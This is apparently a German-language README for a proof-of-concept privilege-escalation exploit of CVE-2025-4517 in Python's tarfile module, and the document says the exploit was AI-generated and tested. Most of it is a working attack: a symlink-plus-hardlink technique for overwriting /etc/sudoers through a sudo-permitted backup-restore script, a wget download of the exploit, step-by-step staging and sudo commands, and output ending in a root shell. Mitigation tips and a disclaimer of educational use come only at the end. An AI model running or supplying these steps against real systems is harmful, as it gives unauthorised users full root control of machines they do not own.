
Privilege-Escalation-Skript für CVE-2025-4517
Dieser Exploit und die Beschreibung wurden von KI erstellt. Wenn du einen Fehler oder ein Problem findest, lass es mich bitte wissen! Dieser Exploit wurde getestet und funktioniert nachweislich. Vielen Dank!
Dieser Exploit nutzt CVE-2025-4517 aus, eine kritische Schwachstelle im Python-tarfile-Modul, die durch eine Kombination von Symlink-Pfad-Traversal und Hardlink-Manipulation beliebiges Dateischreiben ermöglicht. Dadurch wird der in Python 3.12 eingeführte Schutz filter="data" umgangen.
Die Schwachstelle nutzt einen Fehler in der Art und Weise aus, wie Python's tarfile.extractall() die Interaktion zwischen folgenden Elementen behandelt:
filter="data" blockiert direkte Symlink-Ausbrüche, aber die Hardlink-Technik umgeht diesen Schutz.1. Erstellen tiefer verschachtelter Verzeichnisse (Pfadverwirrung)
└─ Verwendet 247 Zeichen lange Verzeichnisnamen, 16 Ebenen tief wiederholt
2. Aufbau einer Symlink-Kette für den Traversal
└─ Erzeugt Symlinks, die durch die Verzeichnisstruktur nach oben auflösen
3. Ausbruch-Symlink zum Zielverzeichnis (/etc)
└─ Der letzte Symlink zeigt außerhalb der Extraktionsgrenze
4. Erstellen eines Hardlinks, der durch den Ausbruch-Symlink zeigt
└─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Inhalt in den Hardlink schreiben
└─ Das Schreiben in "sudoers_link" schreibt tatsächlich in /etc/sudoers
Skript: /opt/backup_clients/restore_backup_clients.py
# Angreifbarer Code-Ausschnitt
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Sudo-Berechtigungen:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/# Exploit herunterladen
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Auf das Zielsystem übertragen
# Exploit ausführen
./exploit.py
# Oder mit Python
python3 exploit.py
Wenn du jeden Schritt lieber manuell ausführen möchtest:
# 1. Exploit-Tar erstellen
python3 exploit.py --create-only
# 2. Auf das Ziel bereitstellen
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Über das angreifbare Skript ausführen
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Änderungen an sudoers überprüfen
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Root-Zugriff erhalten
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Zielbenutzer: wacky
[*] Erstelle Exploit-Tar für Benutzer: wacky
[*] Phase 1: Erstelle verschachtelte Verzeichnisstruktur...
[*] Phase 2: Erstelle Symlink-Kette für Pfad-Traversal...
[*] Phase 3: Erstelle Ausbruch-Symlink nach /etc...
[*] Phase 4: Erstelle Hardlink auf /etc/sudoers...
[*] Phase 5: Schreibe sudoers-Eintrag...
[+] Exploit-Tar erstellt: /tmp/cve_2025_4517_exploit.tar
[*] Stelle Exploit bereit auf: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit erfolgreich bereitgestellt
[*) Löse Extraktion über angreifbares Skript aus...
[+] Backup: backup_9999.tar
[+] Staging-Verzeichnis: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraktion abgeschlossen in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraktion abgeschlossen
[*] Überprüfe Erfolg des Exploits...
[+] ERFOLG! Benutzer 'wacky' wurde zu sudoers hinzugefügt
[+] Eintrag: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] AUSBEUTUNG ERFOLGREICH!
[+] Benutzer 'wacky' hat jetzt volle Sudo-Rechte
[+] Root-Zugriff mit: sudo /bin/bash
============================================================
[?] Root-Shell jetzt starten? (j/n): j
[*] Starte Root-Shell...
[*] Ausführen: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers zu ändern python3 --version # Version prüfen
# Vor der Extraktion auf verdächtige Mitglieder prüfen
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Symlinks/Hardlinks nicht erlaubt")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Pfad-Traversal erkannt")
# Sudo-Zugriff des Backup-Skripts entfernen oder einschränken
visudo
# Tar-Inhalt vor Extraktion prüfen
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers # AIDE oder ähnliches IDS einrichten
aide --check
Dieser Exploit dient ausschließlich zu Bildungszwecken und ist für folgende Einsätze bestimmt:
Die Autoren übernehmen keine Haftung für missbräuchliche Verwendung dieses Codes.
Ursprüngliche Forschung: Mehrere Sicherheitsforscher (siehe Referenzen)
MIT-Lizenz – Siehe LICENSE-Datei für Details
Zuletzt aktualisiert: März 2026